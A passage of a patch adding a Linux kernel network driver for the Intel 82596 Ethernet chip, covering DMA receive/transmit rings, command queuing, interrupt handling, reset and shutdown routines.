+		CHECK_INV(lp, &(lp->scb), sizeof(struct i596_scb));
+	}
+	if (!delcnt) {
+		printk("%s: %s, status %4.4x, cmd %4.4x.\n",
+		     dev->name, str, lp->scb.status, lp->scb.command);
+		return -1;
+	}
+	else
+		return 0;
+}
+
+
+static void i596_display_data(struct net_device *dev)
+{
+	struct i596_private *lp = dev->priv;
+	struct i596_cmd *cmd;
+	struct i596_rfd *rfd;
+	struct i596_rbd *rbd;
+
+	printk("lp and scp at %p, .sysbus = %08x, .iscp = %08x\n",
+	       &lp->scp, lp->scp.sysbus, lp->scp.iscp);
+	printk("iscp at %p, iscp.stat = %08x, .scb = %08x\n",
+	       &lp->iscp, lp->iscp.stat, lp->iscp.scb);
+	printk("scb at %p, scb.status = %04x, .command = %04x,"
+		" .cmd = %08x, .rfd = %08x\n",
+	       &lp->scb, lp->scb.status, lp->scb.command,
+		lp->scb.cmd, lp->scb.rfd);
+	printk("   errors: crc %x, align %x, resource %x,"
+               " over %x, rcvdt %x, short %x\n",
+		lp->scb.crc_err, lp->scb.align_err, lp->scb.resource_err,
+		lp->scb.over_err, lp->scb.rcvdt_err, lp->scb.short_err);
+	cmd = lp->cmd_head;
+	while (cmd != NULL) {
+		printk("cmd at %p, .status = %04x, .command = %04x, .b_next = %08x\n",
+		  cmd, cmd->status, cmd->command, cmd->b_next);
+		cmd = cmd->v_next;
+	}
+	rfd = lp->rfd_head;
+	printk("rfd_head = %p\n", rfd);
+	do {
+		printk("   %p .stat %04x, .cmd %04x, b_next %08x, rbd %08x,"
+                        " count %04x\n",
+			rfd, rfd->stat, rfd->cmd, rfd->b_next, rfd->rbd,
+			rfd->count);
+		rfd = rfd->v_next;
+	} while (rfd != lp->rfd_head);
+	rbd = lp->rbd_head;
+	printk("rbd_head = %p\n", rbd);
+	do {
+		printk("   %p .count %04x, b_next %08x, b_data %08x, size %04x\n",
+			rbd, rbd->count, rbd->b_next, rbd->b_data, rbd->size);
+		rbd = rbd->v_next;
+	} while (rbd != lp->rbd_head);
+	CHECK_INV(lp, lp, sizeof(struct i596_private));
+}
+
+
+#define virt_to_dma(lp,v) ((lp)->dma_addr + (dma_addr_t)((unsigned long)(v)-(unsigned long)(lp)))
+
+static inline void init_rx_bufs(struct net_device *dev)
+{
+	struct i596_private *lp = dev->priv;
+	int i;
+	struct i596_rfd *rfd;
+	struct i596_rbd *rbd;
+
+	/* First build the Receive Buffer Descriptor List */
+
+	for (i = 0, rbd = lp->rbds; i < rx_ring_size; i++, rbd++) {
+		dma_addr_t dma_addr;
+		struct sk_buff *skb = dev_alloc_skb(PKT_BUF_SZ + 4);
+
+		if (skb == NULL)
+			panic("%s: alloc_skb() failed", __FILE__);
+		skb_reserve(skb, 2);
+		dma_addr = dma_map_single(lp->dev, skb->data,PKT_BUF_SZ,
+					  DMA_FROM_DEVICE);
+		skb->dev = dev;
+		rbd->v_next = rbd+1;
+		rbd->b_next = SWAP32(virt_to_dma(lp,rbd+1));
+		rbd->b_addr = SWAP32(virt_to_dma(lp,rbd));
+		rbd->skb = skb;
+		rbd->v_data = skb->data;
+		rbd->b_data = SWAP32(dma_addr);
+		rbd->size = SWAP16(PKT_BUF_SZ);
+	}
+	lp->rbd_head = lp->rbds;
+	rbd = lp->rbds + rx_ring_size - 1;
+	rbd->v_next = lp->rbds;
+	rbd->b_next = SWAP32(virt_to_dma(lp,lp->rbds));
+
+	/* Now build the Receive Frame Descriptor List */
+
+	for (i = 0, rfd = lp->rfds; i < rx_ring_size; i++, rfd++) {
+		rfd->rbd = I596_NULL;
+		rfd->v_next = rfd+1;
+		rfd->v_prev = rfd-1;
+		rfd->b_next = SWAP32(virt_to_dma(lp,rfd+1));
+		rfd->cmd = SWAP16(CMD_FLEX);
+	}
+	lp->rfd_head = lp->rfds;
+	lp->scb.rfd = SWAP32(virt_to_dma(lp,lp->rfds));
+	rfd = lp->rfds;
+	rfd->rbd = SWAP32(virt_to_dma(lp,lp->rbd_head));
+	rfd->v_prev = lp->rfds + rx_ring_size - 1;
+	rfd = lp->rfds + rx_ring_size - 1;
+	rfd->v_next = lp->rfds;
+	rfd->b_next = SWAP32(virt_to_dma(lp,lp->rfds));
+	rfd->cmd = SWAP16(CMD_EOL|CMD_FLEX);
+
+	CHECK_WBACK_INV(lp, lp, sizeof(struct i596_private));
+}
+
+static inline void remove_rx_bufs(struct net_device *dev)
+{
+	struct i596_private *lp = dev->priv;
+	struct i596_rbd *rbd;
+	int i;
+
+	for (i = 0, rbd = lp->rbds; i < rx_ring_size; i++, rbd++) {
+		if (rbd->skb == NULL)
+			break;
+		dma_unmap_single(lp->dev,
+				 (dma_addr_t)SWAP32(rbd->b_data), 
+				 PKT_BUF_SZ, DMA_FROM_DEVICE);
+		dev_kfree_skb(rbd->skb);
+	}
+}
+
+
+static void rebuild_rx_bufs(struct net_device *dev)
+{
+	struct i596_private *lp = dev->priv;
+	int i;
+
+	/* Ensure rx frame/buffer descriptors are tidy */
+
+	for (i = 0; i < rx_ring_size; i++) {
+		lp->rfds[i].rbd = I596_NULL;
+		lp->rfds[i].cmd = SWAP16(CMD_FLEX);
+	}
+	lp->rfds[rx_ring_size-1].cmd = SWAP16(CMD_EOL|CMD_FLEX);
+	lp->rfd_head = lp->rfds;
+	lp->scb.rfd = SWAP32(virt_to_dma(lp,lp->rfds));
+	lp->rbd_head = lp->rbds;
+	lp->rfds[0].rbd = SWAP32(virt_to_dma(lp,lp->rbds));
+
+	CHECK_WBACK_INV(lp, lp, sizeof(struct i596_private));
+}
+
+
+static int init_i596_mem(struct net_device *dev)
+{
+	struct i596_private *lp = dev->priv;
+	unsigned long flags;
+
+	MPU_PORT(dev, PORT_RESET, 0);
+	udelay(100);			/* Wait 100us - seems to help */
+
+	/* change the scp address */
+
+	lp->last_cmd = jiffies;
+
+
+	lp->scp.sysbus = SYSBUS;
+	lp->scp.iscp = SWAP32(virt_to_dma(lp,&(lp->iscp)));
+	lp->iscp.scb = SWAP32(virt_to_dma(lp,&(lp->scb)));
+	lp->iscp.stat = SWAP32(ISCP_BUSY);
+	lp->cmd_backlog = 0;
+
+	lp->cmd_head = NULL;
+        lp->scb.cmd = I596_NULL;
+
+	DEB(DEB_INIT, printk("%s: starting i82596.\n", dev->name));
+
+	CHECK_WBACK(lp, &(lp->scp), sizeof(struct i596_scp));
+	CHECK_WBACK(lp, &(lp->iscp), sizeof(struct i596_iscp));
+	CHECK_WBACK(lp, &(lp->scb), sizeof(struct i596_scb));
+
+	MPU_PORT(dev, PORT_ALTSCP, virt_to_dma(lp,&lp->scp));
+	CA(dev);
+	if (wait_istat(dev, lp, 1000, "initialization timed out"))
+		goto failed;
+	DEB(DEB_INIT, printk("%s: i82596 initialization successful\n", dev->name));
+
+	if (request_irq(dev->irq, &i596_interrupt, 0, "i82596", dev)) {
+		printk("%s: IRQ %d not free\n", dev->name, dev->irq);
+		goto failed;
+	}
+
+	/* Ensure rx frame/buffer descriptors are tidy */
+	rebuild_rx_bufs(dev);
+
+	lp->scb.command = 0;
+	CHECK_WBACK(lp, &(lp->scb), sizeof(struct i596_scb));
+
+#if 1
+	DEB(DEB_INIT, printk("%s: queuing CmdConfigure\n", dev->name));
+	memcpy(lp->cf_cmd.i596_config, init_setup, 14);
+	lp->cf_cmd.cmd.command = SWAP16(CmdConfigure);
+	CHECK_WBACK(lp, &(lp->cf_cmd), sizeof(struct cf_cmd));
+	i596_add_cmd(dev, &lp->cf_cmd.cmd);
+	
+	DEB(DEB_INIT, printk("%s: queuing CmdSASetup\n", dev->name));
+	memcpy(lp->sa_cmd.eth_addr, dev->dev_addr, 6);
+	lp->sa_cmd.cmd.command = SWAP16(CmdSASetup);
+	CHECK_WBACK(lp, &(lp->sa_cmd), sizeof(struct sa_cmd));
+	i596_add_cmd(dev, &lp->sa_cmd.cmd);
+
+	DEB(DEB_INIT, printk("%s: queuing CmdTDR\n", dev->name));
+	lp->tdr_cmd.cmd.command = SWAP16(CmdTDR);
+	CHECK_WBACK(lp, &(lp->tdr_cmd), sizeof(struct tdr_cmd));
+	i596_add_cmd(dev, &lp->tdr_cmd.cmd);
+#endif
+	spin_lock_irqsave (&lp->lock, flags);
+
+	if (wait_cmd(dev, lp, 1000, "timed out waiting to issue RX_START")) {
+		spin_unlock_irqrestore (&lp->lock, flags);
+		goto failed;
+	}
+	DEB(DEB_INIT, printk("%s: Issuing RX_START\n", dev->name));
+	lp->scb.command = SWAP16(RX_START);
+	lp->scb.rfd = SWAP32(virt_to_dma(lp,lp->rfds));
+	CHECK_WBACK(lp, &(lp->scb), sizeof(struct i596_scb));
+
+	CA(dev);
+
+	spin_unlock_irqrestore (&lp->lock, flags);
+	if (wait_cmd(dev, lp, 1000, "RX_START not processed"))
+		goto failed;
+	DEB(DEB_INIT, printk("%s: Receive unit started OK\n", dev->name));
+	return 0;
+
+failed:
+	printk("%s: Failed to initialise 82596\n", dev->name);
+	MPU_PORT(dev, PORT_RESET, 0);
+	return -1;
+}
+
+
+static inline int i596_rx(struct net_device *dev)
+{
+	struct i596_private *lp = dev->priv;
+	struct i596_rfd *rfd;
+	struct i596_rbd *rbd;
+	int frames = 0;
+
+	DEB(DEB_RXFRAME, printk("i596_rx(), rfd_head %p, rbd_head %p\n",
+			lp->rfd_head, lp->rbd_head));
+
+
+	rfd = lp->rfd_head;		/* Ref next frame to check */
+
+	CHECK_INV(lp, rfd, sizeof(struct i596_rfd));
+	while (rfd->stat & SWAP16(STAT_C)) {	/* Loop while complete frames */
+		if (rfd->rbd == I596_NULL)
+			rbd = NULL;
+		else if (rfd->rbd == lp->rbd_head->b_addr) {
+			rbd = lp->rbd_head;
+			CHECK_INV(lp, rbd, sizeof(struct i596_rbd));
+		}
+		else {
+			printk("%s: rbd chain broken!\n", dev->name);
+			/* XXX Now what? */
+			rbd = NULL;
+		}
+		DEB(DEB_RXFRAME, printk("  rfd %p, rfd.rbd %08x, rfd.stat %04x\n",
+			rfd, rfd->rbd, rfd->stat));
+		
+		if (rbd != NULL && (rfd->stat & SWAP16(STAT_OK))) {
+			/* a good frame */
+			int pkt_len = SWAP16(rbd->count) & 0x3fff;
+			struct sk_buff *skb = rbd->skb;
+			int rx_in_place = 0;
+
+			DEB(DEB_RXADDR,print_eth(rbd->v_data, "received"));
+			frames++;
+
+			/* Check if the packet is long enough to just accept
+			 * without copying to a properly sized skbuff.
+			 */
+
+			if (pkt_len > rx_copybreak) {
+				struct sk_buff *newskb;
+				dma_addr_t dma_addr;
+
+				dma_unmap_single(lp->dev,(dma_addr_t)SWAP32(rbd->b_data), 
+						 PKT_BUF_SZ, DMA_FROM_DEVICE);
+				/* Get fresh skbuff to replace filled one. */
+				newskb = dev_alloc_skb(PKT_BUF_SZ + 4);
+				if (newskb == NULL) {
+					skb = NULL;	/* drop pkt */
+					goto memory_squeeze;
+				}
+				skb_reserve(newskb, 2);
+
+				/* Pass up the skb already on the Rx ring. */
+				skb_put(skb, pkt_len);
+				rx_in_place = 1;
+				rbd->skb = newskb;
+				newskb->dev = dev;
+				dma_addr = dma_map_single(lp->dev, newskb->data, 
+							  PKT_BUF_SZ, DMA_FROM_DEVICE);
+				rbd->v_data = newskb->data;
+				rbd->b_data = SWAP32(dma_addr);
+				CHECK_WBACK_INV(lp, rbd, sizeof(struct i596_rbd));
+			}
+			else
+				skb = dev_alloc_skb(pkt_len + 2);
+memory_squeeze:
+			if (skb == NULL) {
+				/* XXX tulip.c can defer packets here!! */
+				printk("%s: i596_rx Memory squeeze, dropping packet.\n", dev->name);
+				lp->stats.rx_dropped++;
+			}
+			else {
+				skb->dev = dev;
+				if (!rx_in_place) {
+					/* 16 byte align the data fields */
+					dma_sync_single_for_cpu(lp->dev, (dma_addr_t)SWAP32(rbd->b_data), PKT_BUF_SZ, DMA_FROM_DEVICE);
+					skb_reserve(skb, 2);
+					memcpy(skb_put(skb,pkt_len), rbd->v_data, pkt_len);
+					dma_sync_single_for_device(lp->dev, (dma_addr_t)SWAP32(rbd->b_data), PKT_BUF_SZ, DMA_FROM_DEVICE);
+				}
+				skb->len = pkt_len;
+				skb->protocol=eth_type_trans(skb,dev);
+				netif_rx(skb);
+				dev->last_rx = jiffies;
+				lp->stats.rx_packets++;
+				lp->stats.rx_bytes+=pkt_len;
+			}
+		}
+		else {
+			DEB(DEB_ERRORS, printk("%s: Error, rfd.stat = 0x%04x\n",
+					dev->name, rfd->stat));
+			lp->stats.rx_errors++;
+			if (rfd->stat & SWAP16(0x0100))
+				lp->stats.collisions++;
+			if (rfd->stat & SWAP16(0x8000))
+				lp->stats.rx_length_errors++;
+			if (rfd->stat & SWAP16(0x0001))
+				lp->stats.rx_over_errors++;
+			if (rfd->stat & SWAP16(0x0002))
+				lp->stats.rx_fifo_errors++;
+			if (rfd->stat & SWAP16(0x0004))
+				lp->stats.rx_frame_errors++;
+			if (rfd->stat & SWAP16(0x0008))
+				lp->stats.rx_crc_errors++;
+			if (rfd->stat & SWAP16(0x0010))
+				lp->stats.rx_length_errors++;
+		}
+
+		/* Clear the buffer descriptor count and EOF + F flags */
+
+		if (rbd != NULL && (rbd->count & SWAP16(0x4000))) {
+			rbd->count = 0;
+			lp->rbd_head = rbd->v_next;
+			CHECK_WBACK_INV(lp, rbd, sizeof(struct i596_rbd));
+		}
+
+		/* Tidy the frame descriptor, marking it as end of list */
+
+		rfd->rbd = I596_NULL;
+		rfd->stat = 0;
+		rfd->cmd = SWAP16(CMD_EOL|CMD_FLEX);
+		rfd->count = 0;
+
+		/* Remove end-of-list from old end descriptor */
+
+		rfd->v_prev->cmd = SWAP16(CMD_FLEX);
+
+		/* Update record of next frame descriptor to process */
+
+		lp->scb.rfd = rfd->b_next;
+		lp->rfd_head = rfd->v_next;
+		CHECK_WBACK_INV(lp, rfd->v_prev, sizeof(struct i596_rfd));
+		CHECK_WBACK_INV(lp, rfd, sizeof(struct i596_rfd));
+		rfd = lp->rfd_head;
+		CHECK_INV(lp, rfd, sizeof(struct i596_rfd));
+	}
+
+	DEB(DEB_RXFRAME, printk("frames %d\n", frames));
+
+	return 0;
+}
+
+
+static inline void i596_cleanup_cmd(struct net_device *dev, struct i596_private *lp)
+{
+	struct i596_cmd *ptr;
+
+	while (lp->cmd_head != NULL) {
+		ptr = lp->cmd_head;
+		lp->cmd_head = ptr->v_next;
+		lp->cmd_backlog--;
+
+		switch (SWAP16(ptr->command) & 0x7) {
+		case CmdTx:
+			{
+				struct tx_cmd *tx_cmd = (struct tx_cmd *) ptr;
+				struct sk_buff *skb = tx_cmd->skb;
+				dma_unmap_single(lp->dev, tx_cmd->dma_addr, skb->len, DMA_TO_DEVICE);
+
+				dev_kfree_skb(skb);
+
+				lp->stats.tx_errors++;
+				lp->stats.tx_aborted_errors++;
+
+				ptr->v_next = NULL;
+				ptr->b_next = I596_NULL;
+				tx_cmd->cmd.command = 0;  /* Mark as free */
+				break;
+			}
+		default:
+			ptr->v_next = NULL;
+			ptr->b_next = I596_NULL;
+		}
+		CHECK_WBACK_INV(lp, ptr, sizeof(struct i596_cmd));
+	}
+
+	wait_cmd(dev, lp, 100, "i596_cleanup_cmd timed out");
+	lp->scb.cmd = I596_NULL;
+	CHECK_WBACK(lp, &(lp->scb), sizeof(struct i596_scb));
+}
+
+
+static inline void i596_reset(struct net_device *dev, struct i596_private *lp)
+{
+	unsigned long flags;
+
+	DEB(DEB_RESET, printk("i596_reset\n"));
+
+	spin_lock_irqsave (&lp->lock, flags);
+
+	wait_cmd(dev, lp, 100, "i596_reset timed out");
+
+	netif_stop_queue(dev);
+
+	/* FIXME: this command might cause an lpmc */
+	lp->scb.command = SWAP16(CUC_ABORT | RX_ABORT);
+	CHECK_WBACK(lp, &(lp->scb), sizeof(struct i596_scb));
+	CA(dev);
+
+	/* wait for shutdown */
+	wait_cmd(dev, lp, 1000, "i596_reset 2 timed out");
+	spin_unlock_irqrestore (&lp->lock, flags);
+
+	i596_cleanup_cmd(dev,lp);
+	i596_rx(dev);
+
+	netif_start_queue(dev);
+	init_i596_mem(dev);
+}
+
+
+static void i596_add_cmd(struct net_device *dev, struct i596_cmd *cmd)
+{
+	struct i596_private *lp = dev->priv;
+	unsigned long flags;
+
+	DEB(DEB_ADDCMD, printk("i596_add_cmd cmd_head %p\n", lp->cmd_head));
+
+	cmd->status = 0;
+	cmd->command |= SWAP16(CMD_EOL | CMD_INTR);
+	cmd->v_next = NULL;
+	cmd->b_next = I596_NULL;
+	CHECK_WBACK(lp, cmd, sizeof(struct i596_cmd));
+
+	spin_lock_irqsave (&lp->lock, flags);
+
+	if (lp->cmd_head != NULL) {
+		lp->cmd_tail->v_next = cmd;
+		lp->cmd_tail->b_next = SWAP32(virt_to_dma(lp,&cmd->status));
+		CHECK_WBACK(lp, lp->cmd_tail, sizeof(struct i596_cmd));
+	} else {
+		lp->cmd_head = cmd;
+		wait_cmd(dev, lp, 100, "i596_add_cmd timed out");
+		lp->scb.cmd = SWAP32(virt_to_dma(lp,&cmd->status));
+		lp->scb.command = SWAP16(CUC_START);
+		CHECK_WBACK(lp, &(lp->scb), sizeof(struct i596_scb));
+		CA(dev);
+	}
+	lp->cmd_tail = cmd;
+	lp->cmd_backlog++;
+
+	spin_unlock_irqrestore (&lp->lock, flags);
+
+	if (lp->cmd_backlog > max_cmd_backlog) {
+		unsigned long tickssofar = jiffies - lp->last_cmd;
+
+		if (tickssofar < ticks_limit)
+			return;
+
+		printk("%s: command unit timed out, status resetting.\n", dev->name);
+#if 1
+		i596_reset(dev, lp);
+#endif
+	}
+}
+
+static int i596_open(struct net_device *dev)
+{
+	DEB(DEB_OPEN, printk("%s: i596_open() irq %d.\n", dev->name, dev->irq));
+
+	init_rx_bufs(dev);
+
+	if (init_i596_mem(dev)) {
+		printk("%s: Failed to init memory\n", dev->name);
+		goto out_remove_rx_bufs;
+	}
+	netif_start_queue(dev);
+
+	return 0;
+
+out_remove_rx_bufs:
+	remove_rx_bufs(dev);
+	free_irq(dev->irq, dev);
+	return -EAGAIN;
+}
+
+static void i596_tx_timeout (struct net_device *dev)
+{
+	struct i596_private *lp = dev->priv;
+
+	/* Transmitter timeout, serious problems. */
+	DEB(DEB_ERRORS, printk("%s: transmit timed out, status resetting.\n",
+			dev->name));
+
+	lp->stats.tx_errors++;
+
+	/* Try to restart the adaptor */
+	if (lp->last_restart == lp->stats.tx_packets) {
+		DEB(DEB_ERRORS, printk("Resetting board.\n"));
+		/* Shutdown and restart */
+		i596_reset (dev, lp);
+	} else {
+		/* Issue a channel attention signal */
+		DEB(DEB_ERRORS, printk("Kicking board.\n"));
+		lp->scb.command = SWAP16(CUC_START | RX_START);
+		CHECK_WBACK_INV(lp, &(lp->scb), sizeof(struct i596_scb));
+		CA (dev);
+		lp->last_restart = lp->stats.tx_packets;
+	}
+
+	dev->trans_start = jiffies;
+	netif_wake_queue (dev);
+}
+
+
+static int i596_start_xmit(struct sk_buff *skb, struct net_device *dev)
+{
+	struct i596_private *lp = dev->priv;
+	struct tx_cmd *tx_cmd;
+	struct i596_tbd *tbd;
+	short length = skb->len;
+	dev->trans_start = jiffies;
+
+	DEB(DEB_STARTTX, printk("%s: i596_start_xmit(%x,%p) called\n", dev->name,
+				skb->len, skb->data));
+
+	if (length < ETH_ZLEN) {
+		if (skb_padto(skb, ETH_ZLEN))
+			return 0;
+		length = ETH_ZLEN;
+	}
+	
+	netif_stop_queue(dev);
+
+	tx_cmd = lp->tx_cmds + lp->next_tx_cmd;
+	tbd = lp->tbds + lp->next_tx_cmd;
+
+	if (tx_cmd->cmd.command) {
+		DEB(DEB_ERRORS, printk("%s: xmit ring full, dropping packet.\n",
+				dev->name));
+		lp->stats.tx_dropped++;
+
+		dev_kfree_skb(skb);
+	} else {
+		if (++lp->next_tx_cmd == TX_RING_SIZE)
+			lp->next_tx_cmd = 0;
+		tx_cmd->tbd = SWAP32(virt_to_dma(lp,tbd));
+		tbd->next = I596_NULL;
+
+		tx_cmd->cmd.command = SWAP16(CMD_FLEX | CmdTx);
+		tx_cmd->skb = skb;
+
+		tx_cmd->pad = 0;
+		tx_cmd->size = 0;
+		tbd->pad = 0;
+		tbd->size = SWAP16(EOF | length);
+
+		tx_cmd->dma_addr = dma_map_single(lp->dev, skb->data, skb->len,
+				DMA_TO_DEVICE);
+		tbd->data = SWAP32(tx_cmd->dma_addr);
+
+		DEB(DEB_TXADDR,print_eth(skb->data, "tx-queued"));
+		CHECK_WBACK_INV(lp, tx_cmd, sizeof(struct tx_cmd));
+		CHECK_WBACK_INV(lp, tbd, sizeof(struct i596_tbd));
+		i596_add_cmd(dev, &tx_cmd->cmd);
+
+		lp->stats.tx_packets++;
+		lp->stats.tx_bytes += length;
+	}
+
+	netif_start_queue(dev);
+
+	return 0;
+}
+
+static void print_eth(unsigned char *add, char *str)
+{
+	int i;
+
+	printk("i596 0x%p, ", add);
+	for (i = 0; i < 6; i++)
+		printk(" %02X", add[i + 6]);
+	printk(" -->");
+	for (i = 0; i < 6; i++)
+		printk(" %02X", add[i]);
+	printk(" %02X%02X, %s\n", add[12], add[13], str);
+}
+
+static int __devinit i82596_probe(struct net_device *dev, struct device *gen_dev,
+				  volatile u32 *ca, u32 options)
+{
+	int i;
+	struct i596_private *lp;
+	dma_addr_t dma_addr;
+
+	/* This lot is ensure things have been cache line aligned. */
+	BUILD_BUG_ON(sizeof(struct i596_rfd) != 32);
+	BUILD_BUG_ON(sizeof(struct i596_rbd) &  31);
+	BUILD_BUG_ON(sizeof(struct tx_cmd)   &  31);
+	BUILD_BUG_ON(sizeof(struct i596_tbd) != 32);
+#ifndef __LP64__
+	BUILD_BUG_ON(sizeof(struct i596_private) > 4096);
+#endif
+	
+	if (!dev->base_addr || !dev->irq)
+		return -ENODEV;
+
+	dev->mem_start = (unsigned long) dma_alloc_noncoherent(gen_dev,
+		sizeof(struct i596_private), &dma_addr, GFP_KERNEL);
+	if (!dev->mem_start) {
+		printk(KERN_ERR "%s: Couldn't get shared memory\n", __FILE__);
+		return -ENOMEM;
+	}
+
+	/* The 82596-specific entries in the device structure. */
+	dev->open = i596_open;
+	dev->stop = i596_close;
+	dev->hard_start_xmit = i596_start_xmit;
+	dev->get_stats = i596_get_stats;
+	dev->set_multicast_list = set_multicast_list;
+	dev->tx_timeout = i596_tx_timeout;
+	dev->watchdog_timeo = TX_TIMEOUT;
+#ifdef CONFIG_NET_POLL_CONTROLLER
+	dev->poll_controller = i596_poll_controller;
+#endif
+
+	dev->priv = (void *)(dev->mem_start);
+
+	lp = dev->priv;
+	memset(lp, 0, sizeof(struct i596_private));
+
+	lp->scb.command = 0;
+	lp->scb.cmd = I596_NULL;
+	lp->scb.rfd = I596_NULL;
+	spin_lock_init(&lp->lock);
+	lp->dma_addr = dma_addr;
+	lp->dev = gen_dev;
+	lp->options = options;
+	lp->ca = ca;
+
+	CHECK_WBACK_INV(lp, dev->mem_start, sizeof(struct i596_private));
+
+	i = register_netdev(dev);
+	if (i) {
+		lp = dev->priv;
+		dma_free_noncoherent(lp->dev, sizeof(struct i596_private), 
+				    (void *)dev->mem_start, lp->dma_addr);
+		return i;
+	};
+
+	DEB(DEB_PROBE, printk(KERN_INFO "%s: 82596 at %#3lx,", dev->name, dev->base_addr));
+	for (i = 0; i < 6; i++)
+		DEB(DEB_PROBE, printk(" %2.2X", dev->dev_addr[i]));
+	DEB(DEB_PROBE, printk(" IRQ %d.\n", dev->irq));
+	DEB(DEB_INIT, printk(KERN_INFO "%s: lp at 0x%p (%d bytes), lp->scb at 0x%p\n",
+		dev->name, lp, (int)sizeof(struct i596_private), &lp->scb));
+
+	return 0;
+}
+
+#ifdef CONFIG_NET_POLL_CONTROLLER
+static void i596_poll_controller(struct net_device *dev)
+{
+	disable_irq(dev->irq);
+	i596_interrupt(dev->irq, dev);
+	enable_irq(dev->irq);
+}
+#endif
+
+static irqreturn_t i596_interrupt(int irq, void *dev_id)
+{
+	struct net_device *dev = dev_id;
+	struct i596_private *lp;
+	unsigned short status, ack_cmd = 0;
+
+	if (dev == NULL) {
+		printk("%s: irq %d for unknown device.\n", __FUNCTION__, irq);
+		return IRQ_NONE;
+	}
+
+	lp = dev->priv;
+
+	spin_lock (&lp->lock);
+
+	wait_cmd(dev, lp, 100, "i596 interrupt, timeout");
+	status = SWAP16(lp->scb.status);
+
+	DEB(DEB_INTS, printk("%s: i596 interrupt, IRQ %d, status %4.4x.\n",
+			dev->name, irq, status));
+
+	ack_cmd = status & 0xf000;
+
+	if (!ack_cmd) {
+		DEB(DEB_ERRORS, printk("%s: interrupt with no events\n", dev->name));
+		spin_unlock (&lp->lock);
+		return IRQ_NONE;
+	}
+
+	if ((status & 0x8000) || (status & 0x2000)) {
+		struct i596_cmd *ptr;
+
+		if ((status & 0x8000))
+			DEB(DEB_INTS, printk("%s: i596 interrupt completed command.\n", dev->name));
+		if ((status & 0x2000))
+			DEB(DEB_INTS, printk("%s: i596 interrupt command unit inactive %x.\n", dev->name, status & 0x0700));
+
+		while (lp->cmd_head != NULL) {
+			CHECK_INV(lp, lp->cmd_head, sizeof(struct i596_cmd));
+			if (!(lp->cmd_head->status & SWAP16(STAT_C)))
+				break;
+
+			ptr = lp->cmd_head;
+
+			DEB(DEB_STATUS, printk("cmd_head->status = %04x, ->command = %04x\n",
+				       SWAP16(lp->cmd_head->status), SWAP16(lp->cmd_head->command)));
+			lp->cmd_head = ptr->v_next;
+			lp->cmd_backlog--;
+
+			switch (SWAP16(ptr->command) & 0x7) {
+			case CmdTx:
+			    {
+				struct tx_cmd *tx_cmd = (struct tx_cmd *) ptr;
+				struct sk_buff *skb = tx_cmd->skb;
+
+				if (ptr->status & SWAP16(STAT_OK)) {
+					DEB(DEB_TXADDR, print_eth(skb->data, "tx-done"));
+				} else {
+					lp->stats.tx_errors++;
+					if (ptr->status & SWAP16(0x0020))
+						lp->stats.collisions++;
+					if (!(ptr->status & SWAP16(0x0040)))
+						lp->stats.tx_heartbeat_errors++;
+					if (ptr->status & SWAP16(0x0400))
+						lp->stats.tx_carrier_errors++;
+					if (ptr->status & SWAP16(0x0800))
+						lp->stats.collisions++;
+					if (ptr->status & SWAP16(0x1000))
+						lp->stats.tx_aborted_errors++;
+				}
+				dma_unmap_single(lp->dev, tx_cmd->dma_addr, skb->len, DMA_TO_DEVICE);
+				dev_kfree_skb_irq(skb);
+
+				tx_cmd->cmd.command = 0; /* Mark free */
+				break;
+			    }
+			case CmdTDR:
+			    {
+				unsigned short status = SWAP16(((struct tdr_cmd *)ptr)->status);
+
+				if (status & 0x8000) {
+					DEB(DEB_ANY, printk("%s: link ok.\n", dev->name));
+				} else {
+					if (status & 0x4000)
+						printk("%s: Transceiver problem.\n", dev->name);
+					if (status & 0x2000)
+						printk("%s: Termination problem.\n", dev->name);
+					if (status & 0x1000)
+						printk("%s: Short circuit.\n", dev->name);
+
+					DEB(DEB_TDR, printk("%s: Time %d.\n", dev->name, status & 0x07ff));
+				}
+				break;
+			    }
+			case CmdConfigure:
+				/* Zap command so set_multicast_list() knows it is free */
+				ptr->command = 0;
+				break;
+			}
+			ptr->v_next = NULL;
+		        ptr->b_next = I596_NULL;
+			CHECK_WBACK(lp, ptr, sizeof(struct i596_cmd));
+			lp->last_cmd = jiffies;
+		}
+
+		/* This mess is arranging that only the last of any outstanding
+		 * commands has the interrupt bit set.  Should probably really
+		 * only add to the cmd queue when the CU is stopped.
+		 */
+		ptr = lp->cmd_head;
+		while ((ptr != NULL) && (ptr != lp->cmd_tail)) {
+			struct i596_cmd *prev = ptr;
+			
+			ptr->command &= SWAP16(0x1fff);
+			ptr = ptr->v_next;
+			CHECK_WBACK_INV(lp, prev, sizeof(struct i596_cmd));
+		}
+
+		if ((lp->cmd_head != NULL))
+			ack_cmd |= CUC_START;
+		lp->scb.cmd = SWAP32(virt_to_dma(lp,&lp->cmd_head->status));
+		CHECK_WBACK_INV(lp, &lp->scb, sizeof(struct i596_scb));
+	}
+	if ((status & 0x1000) || (status & 0x4000)) {
+		if ((status & 0x4000))
+			DEB(DEB_INTS, printk("%s: i596 interrupt received a frame.\n", dev->name));
+		i596_rx(dev);
+		/* Only RX_START if stopped - RGH 07-07-96 */
+		if (status & 0x1000) {
+			if (netif_running(dev)) {
+				DEB(DEB_ERRORS, printk("%s: i596 interrupt receive unit inactive, status 0x%x\n", dev->name, status));
+				ack_cmd |= RX_START;
+				lp->stats.rx_errors++;
+				lp->stats.rx_fifo_errors++;
+				rebuild_rx_bufs(dev);
+			}
+		}
+	}
+	wait_cmd(dev, lp, 100, "i596 interrupt, timeout");
+	lp->scb.command = SWAP16(ack_cmd);
+	CHECK_WBACK(lp, &lp->scb, sizeof(struct i596_scb));
+
+	/* DANGER: I suspect that some kind of interrupt
+	 acknowledgement aside from acking the 82596 might be needed 
+	 here...  but it's running acceptably without */
+
+	CA(dev);
+
+	wait_cmd(dev, lp, 100, "i596 interrupt, exit timeout");
+	DEB(DEB_INTS, printk("%s: exiting interrupt.\n", dev->name));
+
+	spin_unlock (&lp->lock);
+	return IRQ_HANDLED;
+}
+
+static int i596_close(struct net_device *dev)
+{
+	struct i596_private *lp = dev->priv;
+	unsigned long flags;
+
+	netif_stop_queue(dev);
+
+	DEB(DEB_INIT, printk("%s: Shutting down ethercard, status was %4.4x.\n",
+		       dev->name, lp->scb.status));
+
+	spin_lock_irqsave(&lp->lock, flags);
+
+	wait_cmd(dev, lp, 100, "close1 timed out");
+	lp->scb.command = SWAP16(CUC_ABORT | RX_ABORT);
+	CHECK_WBACK(lp, &lp->scb, sizeof(struct i596_scb));
+
+	CA(dev);
+
+	wait_cmd(dev, lp, 100, "close2 timed out");
+	spin_unlock_irqrestore(&lp->lock, flags);
+	DEB(DEB_STRUCT,i596_display_data(dev));
